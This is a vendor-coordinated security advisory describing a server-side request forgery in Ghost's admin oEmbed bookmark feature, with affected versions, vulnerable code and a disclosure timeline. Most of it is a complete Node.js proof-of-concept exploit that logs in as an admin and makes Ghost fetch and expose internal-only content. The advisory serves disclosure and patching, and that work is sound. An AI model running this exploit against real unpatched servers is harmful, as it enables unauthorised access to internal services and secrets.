Ghost 6.0.6 - SSRF via oEmbed Bookmark

6,1

Medium

6,1

Medium

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

Ghost 6.0.6 - SSRF via oEmbed Bookmark

Code name

State

Public

Release date

17 de set. de 2025

Affected product

Ghost

Vendor

Ghost

Affected version(s)

5.99.0 - 5.130.3, 6.0.0 - 6.0.8

Fixed version(s)

5.130.4, 6.0.9

Vulnerability name

Server-side request forgery (SSRF)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS v4.0 base score

6.1

Exploit available

Yes

CVE ID(s)

Description

Ghost uses the oEmbed API to fetch metadata from external URLs. This API is used to fetch metadata from external URLs, such as images, videos, and other media. The API does not properly validate access to internal resources, allowing an attacker to exploit a Server-Side Request Forgery (SSRF).

Vulnerability

The vulnerability occurs when the /oembed endpoint is consumed, instructing that the type parameter equals 'bookmark'. This will use the function fetchBookmarkData:

if (type === 'bookmark') {
  return this.fetchBookmarkData(url, body, type);
}

This function has a conditional statement in which, if the type is different from mentioned, it will use the function processImageFromUrl to process the icon and thumbnail:

if (type === 'mention') {
        if (metadata.icon) {
            try {
                await this.externalRequest.head(metadata.icon);
            } catch (err) {
                metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg';
                logging.error(err);
            }
        }
    } else {
        await this.processImageFromUrl(metadata.icon, 'icon')
            .then((processedImageUrl) => {
                metadata.icon = processedImageUrl;
            }).catch((err) => {
                metadata.icon = 'https://static.ghost.org/v5.0.0/images/link-icon.svg';
                logging.error(err);
            });
        await this.processImageFromUrl(metadata.thumbnail, 'thumbnail')
            .then((processedImageUrl) => {
                metadata.thumbnail = processedImageUrl;
            }).catch((err) => {
                logging.error(err);
            });
    }

This function will use the function fetchImageBuffer to fetch the image buffer from the URL:

async processImageFromUrl(imageUrl, imageType) {
    // Fetch image buffer from the URL
    const imageBuffer = await this.fetchImageBuffer(imageUrl);

This function executes a fetch without verifying the content type or the URL destination, allowing the server to be tricked into obtaining the content of any internal page.

async fetchImageBuffer(imageUrl) {
    const response = await fetch(imageUrl);
    
    if (!response.ok) {
        throw Error(`Failed to fetch image: ${response.statusText}`);
    }

    const arrayBuffer = await response.arrayBuffer();
    
    const buffer = Buffer.from(arrayBuffer);
    return buffer;
}

PoC


// Automatic SSRF PoC for Ghost oEmbed Bookmark
// - Starts two local servers:
//   * Internal service at http://127.0.0.1:5555/secret (localhost-only access)
//   * Attacker page at http://127.0.0.1:8081/ (icon/og:image -> internal /secret)
// - Automatically logs into Ghost Admin via /ghost/api/admin/session
// - Triggers /ghost/api/admin/oembed for the attacker page
// - Fetches metadata.icon (saved by Ghost) and prints exfiltrated content
// Configure with env vars (optional):
//   GHOST_URL, GHOST_USERNAME, GHOST_PASSWORD

const http = require('http');

// Config
const INTERNAL_HOST = '127.0.0.1';
const INTERNAL_PORT = 5555; // Simulated sensitive internal service
const ATTACKER_HOST = '127.0.0.1';
const ATTACKER_PORT = 8081; // Attacker-controlled page
const GHOST_URL = process.env.GHOST_URL || 'http://localhost:2368';
const GHOST_ORIGIN = new URL(GHOST_URL).origin;
const GHOST_REFERER = `${GHOST_ORIGIN}/ghost/`;

// Demo credentials (override via env GHOST_USERNAME / GHOST_PASSWORD)
const GHOST_USERNAME = process.env.GHOST_USERNAME || 'test@yopmail.com';
const GHOST_PASSWORD = process.env.GHOST_PASSWORD || 'Test1234@@';

// Internal sensitive service
const internalServer = http.createServer((req, res) => {
    const now = new Date().toISOString();
    console.log(`[INTERNAL] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`);

    if (req.url === '/secret') {
        // Allow access ONLY from localhost
        const ra = req.socket.remoteAddress;
        const isLocal = ra === '127.0.0.1' || ra === '::1' || ra === '::ffff:127.0.0.1';
        if (!isLocal) {
            res.writeHead(403, {'Content-Type': 'text/plain'});
            res.end('Forbidden');
            return;
        }

        const body = `INTERNAL_SECRET_TOKEN=top-secret-123\nTIMESTAMP=${now}\n`;
        res.writeHead(200, {
            'Content-Type': 'text/plain',
            'Content-Length': Buffer.byteLength(body)
        });
        res.end(body);
        return;
    }

    res.writeHead(404, {'Content-Type': 'text/plain'});
    res.end('Not Found');
});

// Attacker site serving bookmark HTML that points to internal resource
const attackerServer = http.createServer((req, res) => {
    const now = new Date().toISOString();
    console.log(`[ATTACKER] ${now} ${req.method} ${req.url} from ${req.socket.remoteAddress}:${req.socket.remotePort}`);

    // Basic HTML with icon + og:image set to internal service
    const internalUrl = `http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`;
    const html = `<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <title>SSRF PoC</title>
    <meta property="og:title" content="SSRF PoC" />
    <meta property="og:description" content="Bookmark SSRF demo" />
    <meta property="og:image" content="${internalUrl}" />
    <link rel="icon" href="${internalUrl}">
  </head>
  <body>
    <h1>Ghost SSRF PoC</h1>
    <p>This page sets icon/og:image to ${internalUrl}</p>
  </body>
</html>`;

    res.writeHead(200, {
        'Content-Type': 'text/html; charset=utf-8',
        'Content-Length': Buffer.byteLength(html)
    });
    res.end(html);
});

internalServer.listen(INTERNAL_PORT, INTERNAL_HOST, () => {
    console.log(`[*] Internal service listening at http://${INTERNAL_HOST}:${INTERNAL_PORT}/secret`);
});

attackerServer.listen(ATTACKER_PORT, ATTACKER_HOST, () => {
    console.log(`[*] Attacker page listening at http://${ATTACKER_HOST}:${ATTACKER_PORT}/`);
    console.log('[*] Running automatic flow: login → oEmbed → exfiltrate');
    runAutomaticFlow().catch((e) => {
        console.error('[!] Automatic PoC failed:', e);
    });
});

async function loginAndGetCookie() {
    const url = `${GHOST_URL}/ghost/api/admin/session`;
    const payload = {
        username: GHOST_USERNAME,
        password: GHOST_PASSWORD
    };
    console.log(`[*] Logging in to ${url} as ${GHOST_USERNAME}`);
    const res = await fetch(url, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json;charset=utf-8',
            'X-Ghost-Version': '6.0',
            'Origin': GHOST_ORIGIN,
            'Referer': GHOST_REFERER,
            'Accept': 'application/json'
        },
        body: JSON.stringify(payload),
        redirect: 'manual'
    });
    let setCookies = [];
    // undici (Node.js fetch) provides getSetCookie()
    if (typeof res.headers.getSetCookie === 'function') {
        try {
            setCookies = res.headers.getSetCookie();
        } catch {}
    }
    // fallback for node-fetch style (not present in undici)
    if (setCookies.length === 0 && typeof res.headers.raw === 'function') {
        try {
            setCookies = res.headers.raw()['set-cookie'] || [];
        } catch {}
    }
    // last resort: single Set-Cookie header
    if (setCookies.length === 0) {
        const single = res.headers.get('set-cookie');
        if (single) setCookies = [single];
    }
    if (setCookies.length === 0) {
        const text = await res.text().catch(() => '');
        throw new Error(`Login did not return a session cookie (status ${res.status}). Body: ${text}`);
    }
    // Simple cookie jar: only keep name=value pairs
    const cookie = setCookies.map(c => (c.split(';')[0])).join('; ');
    console.log('[*] Login successful, cookies captured');
    return cookie;
}

async function triggerOembed(cookie) {
    const attackerUrl = `http://${ATTACKER_HOST}:${ATTACKER_PORT}/`;
    const url = `${GHOST_URL}/ghost/api/admin/oembed/?type=bookmark&url=${encodeURIComponent(attackerUrl)}`;
    console.log(`[*] Requesting oEmbed for ${attackerUrl}`);
    const res = await fetch(url, {
        headers: {
            'X-Requested-With': 'XMLHttpRequest',
            'Referer': GHOST_REFERER,
            'Cookie': cookie,
            'Accept': 'application/json'
        }
    });
    if (!res.ok) {
        const text = await res.text().catch(() => '');
        throw new Error(`oEmbed request failed (${res.status}): ${text}`);
    }
    const data = await res.json();
    const iconUrl = data?.metadata?.icon || data?.metadata?.thumbnail;
    if (!iconUrl) {
        throw new Error('No metadata.icon or metadata.thumbnail in oEmbed response');
    }
    console.log(`[*] oEmbed returned icon: ${iconUrl}`);
    return iconUrl;
}

async function fetchExfiltrated(iconUrl) {
    console.log(`[*] Fetching exfiltrated content from ${iconUrl}`);
    const res = await fetch(iconUrl);
    if (!res.ok) {
        const text = await res.text().catch(() => '');
        throw new Error(`Failed to fetch exfiltrated content (${res.status}): ${text}`);
    }
    const body = await res.text();
    console.log('----- Exfiltrated Content -----');
    console.log(body);
    console.log('-------------------------------');
}

async function runAutomaticFlow() {
    // Give the servers a moment to start
    await new Promise(r => setTimeout(r, 500));
    const cookie = await loginAndGetCookie();
    const iconUrl = await triggerOembed(cookie);
    await fetchExfiltrated(iconUrl);
}

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-9862 to refer to this issue from now on.

Disclosure policy

System Information

  • Ghost.

  • Version: 6.0.0 - 6.0.8 and 5.99.0 - 5.130.3.

  • Operative System: Any.

References

Mitigation

An updated version of Ghost is available at the vendor page.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline

1 de set. de 2025

Vulnerability discovered

2 de set. de 2025

Vendor contacted

3 de set. de 2025

Vendor replied

8 de set. de 2025

Vendor confirmed

14 de set. de 2025

Vulnerability patched

17 de set. de 2025

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.